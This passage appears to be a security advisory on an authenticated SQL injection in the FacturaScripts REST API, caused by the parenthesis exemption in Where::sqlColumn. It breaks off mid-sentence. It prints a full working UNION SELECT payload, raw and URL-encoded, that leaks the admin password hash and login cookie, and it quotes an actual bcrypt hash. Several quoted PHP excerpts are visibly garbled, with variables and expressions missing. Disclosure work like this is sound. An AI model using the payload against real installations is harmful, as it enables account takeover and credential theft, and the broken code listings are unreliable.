FacturaScripts: Authenticated SQL injection in the FacturaScripts REST API filter parameter via parenthesis bypass in `Where::sqlColumn`

Summary

Live PoC verified 2026-04-30 against a stock FacturaScripts master at 127.0.0.1:8081. A scoped ApiKey with fullaccess=0 and an ApiAccess row granting allowget=1 on the clientes resource only (no other rights, no UI session, no admin) issued one GET /api/3/clientes?filter[(0)UNION%20SELECT%20...]= request and the response body contained the raw bcrypt hash of the admin user's password ($2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO) and the admin's logkey cookie value. The leaked logkey was injected into a fresh cookie jar and GET /AdminPlugins returned 200 with the admin plugin management UI. End-to-end account takeover from a read-only token with no CSRF, no second factor, no rate-limit interaction beyond the default 5-incident IP throttle.

Core/Where.php::sqlColumn() exempts any field name that contains both ( and ) from identifier escaping. The two API filter builders (APIModel::getWhereValues and ApiAttachedFiles::getWhereValues) feed the raw request key ($_GET['filter'][$key]) straight into new DataBaseWhere($key, $value, '=', ...). When the model's all() reaches Where::multiSqlLegacy -> Where::sql() -> Where::sqlColumn($key), the parenthesis branch returns the attacker-controlled string unmodified. The string is concatenated into WHERE <attacker> = '<value>', which an attacker can pivot to WHERE (0)UNION SELECT ... FROM users WHERE(nick='admin')-- = 'value', leaking arbitrary columns from any table.

Details

the API filter pipeline never validates filter keys

Core/Lib/API/APIModel.php:300-322 (listAll):

protected function listAll(): bool
{
    $filter = $this->request->query->getArray('filter');
    $limit = $this->request->query->getInt('limit', 50);
    $offset = $this->request->query->getInt('offset', 0);
    $operation = $this->request->query->getArray('operation');
    $order = $this->request->query->getArray('sort');

    // obtenemos los registros
    $data = [];
    $hidden = $this->model->getApiFieldsToHide();
    $where = $this->getWhereValues($filter, $operation);
    foreach ($this->model->all($where, $order, $offset, $limit) as $item) {
        [] = ->(->(), );
    }
    ...

Core/Lib/API/APIModel.php:231-298 (getWhereValues):

private function getWhereValues($filter, $operation, $defaultOperation = 'AND'): array
{
    $where = [];
    foreach ($filter as $key => $value) {
        $field = $key;                                    // (1) raw request key
        $operator = '=';

        switch (substr($key, -3)) {                       // suffix routing only
            case '_gt': $field = substr($key, 0, -3); $operator = '>'; break;
            case '_is': $field = substr($key, 0, -3); $operator = 'IS'; break;
            case '_lt': $field = substr($key, , -);  = ; ;
        }
        ...
         (!([])) {
            [] = ;
        }

        [] =  (, , , []); 
    }

     ;
}

The function only ever reads the suffix to decide an operator. The remaining identifier - up to 252 characters in MariaDB and unrestricted by the framework - is preserved verbatim and handed to DataBaseWhere. There is no allow-list of legal column names, no preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/') like the autocomplete hardening in BaseController::autocompleteAction (commit b8aa78b), and no plug-in hook through which the operator could intervene.

The exact same code (line-for-line, plus a files parameter) lives in Core/Controller/ApiAttachedFiles.php::getWhereValues (lines 172-239), so the bug is present on both the generic /api/3/<resource> route and the dedicated /api/3/attachedfiles route.

DataBaseWhere::getSQLWhere now delegates to Where::multiSqlLegacy

Core/Base/DataBase/DataBaseWhere.php is marked @deprecated and the active code path runs through Core/Where.php::multiSqlLegacy (lines 151-199), which converts each legacy DataBaseWhere instance to a Where:

if ($item instanceof DataBaseWhere) {
    $dbWhere = new self($item->fields, $item->value, $item->operator, $item->operation, $item->useField ?? false);
    ...
    $sql .= $dbWhere->sql();
    ...
}

Where::sql() (lines 316-403) finally calls self::sqlColumn($field) for the identifier in every operator branch, including the = branch the attacker reaches.

Where::sqlColumn returns parenthesised inputs untouched

Core/Where.php:407-425:

private static function sqlColumn(string $field): string
{
    // si lleva paréntesis, no escapamos
    if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
        return $field;                                   // (3) raw concatenation
    }

    // si empieza por integer, hacemos el cast
    if (substr($field, 0, 8) === 'integer:') {
        return self::db()->castInteger(substr($field, 8));
    }

    // si empieza por lower, hacemos el lower
    if (substr($field, 0, 6) === 'lower:') {
        return 'LOWER(' . self::db()->escapeColumn((, )) . ;
    }

     ::()->();
}

The intent of the early-return appears to be supporting expression columns like LOWER(col) and UPPER(col) in select, where, and groupBy builder calls, but the check is purely string presence: any input containing both ( and ) is whitelisted, with no constraint on what the string actually is. The same exemption affects every consumer that routes through Where::sqlColumn, including select(), whereLike(), whereIn(), etc. (Core/Where.php:317-405).

what an attacker submits

Reaching the sink requires the two characters ( and ) somewhere in the filter key. The attacker therefore passes:

filter[(0)UNION SELECT IFNULL(password,2),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 FROM users WHERE(nick='admin')-- ]=

URL encoded for HTTP transport:

filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=

The clientes table has 32 columns; the UNION mirrors that count so the database accepts the merged result set. The trailing -- swallows the rest of the framework's appended SQL (= '<value>' LIMIT 50 OFFSET 0). The result is one record whose first column is the admin's password hash, returned in the JSON body's cifnif key (the first column in the original query's SELECT *).

why the getApiFieldsToHide() defence does not apply

Commit 736b811 added getApiFieldsToHide() to the User model, which redacts password, logkey, and two_factor_secret_key from the JSON serialiser:

public function getApiFieldsToHide(): array
{
    return ['password', 'logkey', 'two_factor_secret_key'];
}

This works for GET /api/3/users requests by a fullaccess token: the model loads, then filterHidden() removes the columns. The protection is bound to the model class that is being serialised. The SQL-injection path returns rows in the clientes model serialiser, so the leaked column lands in cifnif (or any other column the attacker chooses for the first UNION position) and is never put through Cliente::getApiFieldsToHide() (which does not include password/logkey because the clientes table has no such columns). The deny-list is irrelevant.

why the sort (ORDER BY) hardening does not apply either

Commit 1b6cdfa added strict regex validation to DbQuery::orderBy (Core/DbQuery.php:289-307), constraining parenthesised input to RAND() | RANDOM() | LOWER(...) | UPPER(...) | CAST(... AS ...) | COALESCE(..., literal). That fix correctl